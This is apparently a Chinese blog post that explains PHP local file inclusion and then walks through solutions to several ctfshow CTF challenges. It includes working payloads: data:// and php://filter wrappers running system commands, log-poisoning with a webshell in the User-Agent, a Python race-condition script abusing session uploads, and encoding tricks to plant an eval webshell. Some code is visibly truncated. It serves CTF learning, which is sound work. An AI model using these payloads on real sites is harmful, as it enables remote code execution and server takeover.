0%

[原理]-文件包含漏洞

本文讲述web安全里面的文件包含漏洞(持续更新)

[原理篇]文件包含


讲解


what?how?:

为了更好地使用代码的重用性,引入了文件包含函数,通过文件包含函数将文件包含进来,直接使用包含文件的代码,简单点来说就是一个文件里面包含另外一个或多个文件。文件包含函数加载的参数没有经过过滤或者严格的定义,可以被用户控制,包含其他恶意文件,导致了执行了非预期的代码。

敏感函数:

1
2
3
4
5
6
7
8
9
10
11
12
include()
include_once()
require()
require_once()

/*include()和require()的区别:
require()如果在包含过程中出错,就会直接退出,不执行后续语句
include()如果在包含过程中出错,只会提出警告,但不影响后续语句的执行*/


//相关函数:
/*include、require、include_once、require_once、highlight_file 、show_source 、readfile 、file_get_contents 、fopen 、file*/

伪协议常规注入:

下面有资源

php://filter过滤器(不能直接访问那就封装一下),

1
2
?page=php://filter/read=convert.base64-encode/resource=../../../../../../phpstudy_pro\WWW\feng\php_output.php

下面是一个讲解:

名称 描述
resource=<要过滤的数据流> 这个参数是必须的。它指定了你要筛选过滤的数据流。
read=<读链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(`
write=<写链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(`
<;两个链的筛选列表> 任何没有以 read=write= 作前缀的筛选器列表会视情况应用于读或写链。

read参数值可为

string.strip_tags: 将数据流中的所有html标签清除
string.toupper: 将数据流中的内容转换为大写
string.tolower: 将数据流中的内容转换为小写
convert.base64-encode: 将数据流中的内容转换为base64编码 convert.base64-decode: 与上面对应解码为典型的文件包含漏洞。我们可以通过构造含有漏洞的语句,查看想要看的代码: file=php://filter/read=convert.base64-encode/resource=index.php 。再将得到的base64码解码即可。

php://filter

php://filter 是一种元封装器。 设计用于数据流打开时的筛选过滤应用 这对于一体式(all-in-one)的文件函数非常有用,类似 readfile() file() 和 [file_get_contents()在数据流内容读取之前没有机会应用其他过滤器。

举个例子:

1
2
3
4
5
6
7
8
9
10
<?php
/* 这简单等同于: readfile("http://www.example.com");
实际上没有指定过滤器 */
readfile("php://filter/resource=http://www.example.com");
/* 这会和以上所做的一样,但还会用 ROT13 加密。 */
readfile("php://filter/read=string.toupper|string.rot13/resource=http://www.example.com");
/* 这会通过 rot13 过滤器筛选出字符 "Hello World"
然后写入当前目录下的 example.txt */
file_put_contents("php://filter/write=string.rot13/resource=example.txt","Hello World");
?>

日志文件包含漏洞:

apache服务器日志存放文件位置:/var/log/apache/access.log,apache日志文件存放着我们输入的url参数,我们可以通过在url参数中写入一句话木马,进行执行,从而将一句话木马写入到日志文件中,我们可以通过包含写入木马的日志文件,从而进行命令执行。

nginx服务器日志存放位置:/var/log/nginx/access.log和/var/log/nginx/error.log

资源

https://xz.aliyun.com/t/7176?time__1311=n4%2BxnD0GDtKxyDRxQqGNWP4wYi%3DZo%2BpP4x&alichlgref=https%3A%2F%2Fwww.google.com.hk%2F –基本讲解

https://www.cnblogs.com/chu-jian/p/17481660.html#:~:text=%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E%EF%BC%88File%20Inclusion,%E4%BB%A3%E7%A0%81%E4%BD%9C%E4%B8%BA%E6%AD%A3%E5%B8%B8%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E3%80%82 –基本讲解

https://blog.csdn.net/wangyuxiang946/article/details/131149171 –filter过滤器

https://www.cnblogs.com/kuaile1314/p/11897097.html –伪协议

https://blog.csdn.net/qq_50673174/article/details/124769364 –伪协议

https://blog.csdn.net/unexpectedthing/article/details/121276653 –伪协议

https://blog.csdn.net/hsd2012/article/details/51194554?spm=1001.2101.3001.6650.2&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromBaidu%7ERate-2-51194554-blog-100028185.pc_relevant_vip_default&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromBaidu%7ERate-2-51194554-blog-100028185.pc_relevant_vip_default&utm_relevant_index=3 –php标签

https://www.cnblogs.com/GTL-JU/p/16831597.html –日志文件包含漏洞

题目


ctfshow


web78

题目:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 10:52:43
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-16 10:54:20
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['file'])){
$file = $_GET['file'];
include($file);
}else{
highlight_file(__FILE__);
}
考察点:

基本文件包含,敏感函数

详解:

没有任何过滤,直接传文件就OK。可读取可执行恶意代码。

payload:

1
?file=data://text/plain,<?php system("cat flag.php");?>

WEB79

题目
1
2
3
4
5
6
7
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
详解:

无伤大雅,替换php,那就用**<?=**,还可以大小写绕过+input协议

https://www.ctf.show/writeups/835619 –多个法子(里面有php标签用法哦),

payload:

1
/?file=data://text/plain,<?=system('ls%'');?>

Web80

题目:
1
2
3
4
5
6
7
8
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
考察点:

日志注入,php://input+post+burpsuite

详解:

还是无伤大雅,过滤了php和data,那换一种方法(Php这样可以,Data不行那)

不行有伤大雅了,差了很多基本是伪协议不好使,但是可以用php://input协议–(后面其实可以url编码)

放个图:

f56ed2d9a9d0e86220976ea6a93e658

其次另外一种主流做法就是日志文件包含漏洞,这种做法一般是伪协议不能用再来使用,我们先抓个包:

显而易见看到是nginx服务,我们知道常规路径是/var/log/nginx/access.log,去访问一下。ua信息等,这里ua最容易控制,抓包改ua,写入一句话木马或者命令执行都可以

下步骤做题

ed12cf6cf24996fd8dd12e1334fb78a

最主要的就是找到文件所在地址和在ua哪里写入php语句。

WEB81

题目:
1
2
3
4
5
6
7
8
9
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
详解:

多了层过滤而已,这个是不能用php://input罢了。修改ua用日志漏洞。

WEB82

题目
1
2
3
4
5
6
7
8
9
10
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
考察点:

条件竞争(burp上传或者python脚本),session.upload_progress 包含文件漏洞

详解:

过滤了点之后我们也不能使用文件包含来getshell了,因此我们只能利用无后缀的文件,因为在php中我们能够利用的无后缀的文件就是session,我们可以利用session.upload_progress来进行文件包含,利用PHP_SESSION_UPLOAD_PROGRESS参数,上传成功后,就会在session['upload_progress_123']存储一些本次上传的相关信息

但是由于cleanup=on,会导致文件上传后,session文件的内容立即清空。此时我们得利用条件竞争,在session文件的内容被清空前进行文件包含。

开始做题:

自己讲一下条件竞争:

Attack–burpsuite

1.上传父文件(一句话木马的文件名)==(被删除)=>抓包利用burpsuite-Intruder不停上传(设置好步长和次数):

img

2.另开一burpsuite窗口不断访问a.php(父文件)文件以生成1.php,注意新开的要把代理开关打开,把刚刚的关掉=>双窗口观察直到找到访问状态码为200的一栏,表示文件上传成功,继续接下来的操作得到flag.

Attack–python

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import io
import sys
import requests
import threading

sessid = 'Qftm'

def POST(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
session.post(
'http://250307c3-cf87-4811-987f-20189fa2442c.chall.ctf.show/',
data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php ?>');?>"},
files={"file":('q.txt', f)},
cookies={'PHPSESSID':sessid}
)

def READ(session):
while True:
response = session.get(f'http://250307c3-cf87-4811-987f-20189fa2442c.chall.ctf.show/?file=/tmp/sess_{sessid}')
if 'flag' not in response.text:
print('[+++]retry')
else:
print(response.text)
sys.exit(0)


with requests.session() as session:
t1 = threading.Thread(target=POST, args=(session, ))
t1.daemon = True
t1.start()

READ(session)

资源:

ctfshow]web入门文件包含78-88_ctfshow web入门78-CSDN博客 –参考wp

条件竞争三板斧文章:

https://xz.aliyun.com/t/13292?time__1311=mqmxnDBD9DyGeAKDsD7mG77gx7Kqxg%2BS%2BTD&alichlgref=https%3A%2F%2Fwww.google.com%2F

https://xz.aliyun.com/t/13325?time__1311=mqmxnDBG0QDQG%3DYDs%3DoYK0%3Dg2RjiNiN4D&alichlgref=https%3A%2F%2Fwww.google.com%2F

https://xz.aliyun.com/t/13326?time__1311=mqmxnDBG0QDQG%3DqDs%3DoYK0%3Dg2Rjir%3D74D&alichlgref=https%3A%2F%2Fwww.google.com%2F

https://ciphersaw.me/ctf-wiki/pwn/linux/race-condition/introduction/ –条件竞争介绍

https://cloud.tencent.com/developer/article/1516412 –条件文章

WEB87

题目:
1
2
3
4
5
6
7
8
9
10
11
12
13
if(isset($_GET['file'])){
$file = $_GET['file'];
$content = $_POST['content'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);


}else{
highlight_file(__FILE__);
}
考察点:

写文件关键函数,过滤绕过,url编码,伪协议和filter过滤器

详解:

首先看到还是常规过滤,但是有一个关键是file_put_contents函数还有urldecode解码函数,这里需要注意的一点的操作就是文件写入和url二次编码的问题,注意只需要对文件名字二次编码即可,过滤器利用write写入文件即可

payload:

1
2
3
4
5
6
7
?file=php://filter/write=string.rot13/resource=2.php
//string.rot13 十三位回转编码
//编码之后:
?file=php%253A%252F%252Ffilter%252Fwrite%253Dstring%252Erot13%252Fresource%253D2%252Ephp //用burpsuite彻底编码

//传入内容:
content=<?cuc flfgrz('gnp sy*.cuc');?>

WEB88

题目:
1
2
3
4
5
6
7
8
9
10
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
die("error");
}
include($file);
}else{
highlight_file(__FILE__);
}
考察点:

过滤绕过,伪协议

详解:

没有过滤冒号,直接data伪协议,因为要过滤一些符号了,我们需要base64编码,这个题的关键就在于构造出来没有符号的base64编码,不断调试即可

payload:

1
2
3
4
5
6
?file=data://text/plian;base64,<?php system('tac fl*')?>

//最终试出来:
?file=data://text/plian;base64,<?php system('tac fl*')?>aaaaa

?file=data://text/plian;base64,PD9waHAgc3lzdGVtKCd0YWMgZmwqJyk/PmFhYWFh

贴图:

image-20240612173616269

WEB116

题目:

image-20240612174006166

很新的文件题,打开是一个视频文件(剪裁的挺好)

考察点

misc+php,文件读取

详解:

看源代码没什么思路,想法就是直接把视频文件下载下来,找各种工具把这个流文件下载下来,另存为视频格式到本地。

然后用010打开发现有PNG图片,导出看一下

00cf6926ee0ba4afe6f9fa6a33a271b

发现源码后

1
2
3
4
5
6
7
8
9
<?php
function filter($x){
if(preg_match('/http|https|data|input|rot13|base64 string|log|sess/i',$x)){
die('too young too simple sometimes native!');}
$file=isset($ GET['file'l)?$ GET['file']:"sp2.mp4";
header('content-Type:video/mp4');
filter($file);
file_get_contents($file);
?>

作了一些基本的过滤,我们可以不断文件读取访问,然后去网站查看一下网络状态,但发现没什么回显后,抓包读取一下,访问即可有回显

8043f6febdedff589262df23988c3af

WEB117

题目:
1
2
3
4
5
6
7
8
9
10
11
12
<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($x){
if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
die('too young too simple sometimes naive!');
}
}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "<?php die();?>".$contents);
考察点:

绕过死亡die,伪协议,写文件fliter协议

详解:

file_put_contents($file, "<?php die();?>".$contents); 是一段PHP代码,它的作用是将特定内容写入到一个文件中,把die()拼接到开头

写文件绕过编码,使用字符转码和编码,通过这种方式把前面正常的代码转化为不正常的内容绕过die,把我们不正常转成正常代码执行即可。

1
2
3
4
5
6
7
8
9
10
?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=jiuzhen.php

/*
UCS-2LE.UCS-2BE: 这定义了iconv过滤器的具体任务,即从UCS-2 Little-Endian编码转换到UCS-2 Big-Endian编码。不过,通常这种转换是没有实际意义的,因为它们只是字节序的互换,内容上并不改变字符的表示。可能这是一个示例或者错误配置的例子。 */
contents=<?php eval($_POST[1]);?>
//进行一个编码后
contents=?<hp pe@av(l_$OPTSj[]z;)>?
contents=<hp pvela$(G_TE'[mc'd)]?;>> // 多一个>是为了防止报错,>在标签外不解析
//会生成shell.php,密码为cmd,可以拿到flag

编码转化脚本:

1
2
3
4
5
<?php
?>');
echo "payload:".$result."\n";
?>
//?<hp pe@av(l;)>?

连接蚁剑即可

image-20240613112257518

资源:

https://www.php.cn/faq/565411.html php支持的字符编码

声明:

本文只应用与信息安全的交流与学习,此为作者学习记录,请勿利用文章相关技术从事非法活动,如因此产生任何的不良后果与文章作者无关,本文仅供学习参考。

坚持原创,如鼓励可以赏一杯甜水🥤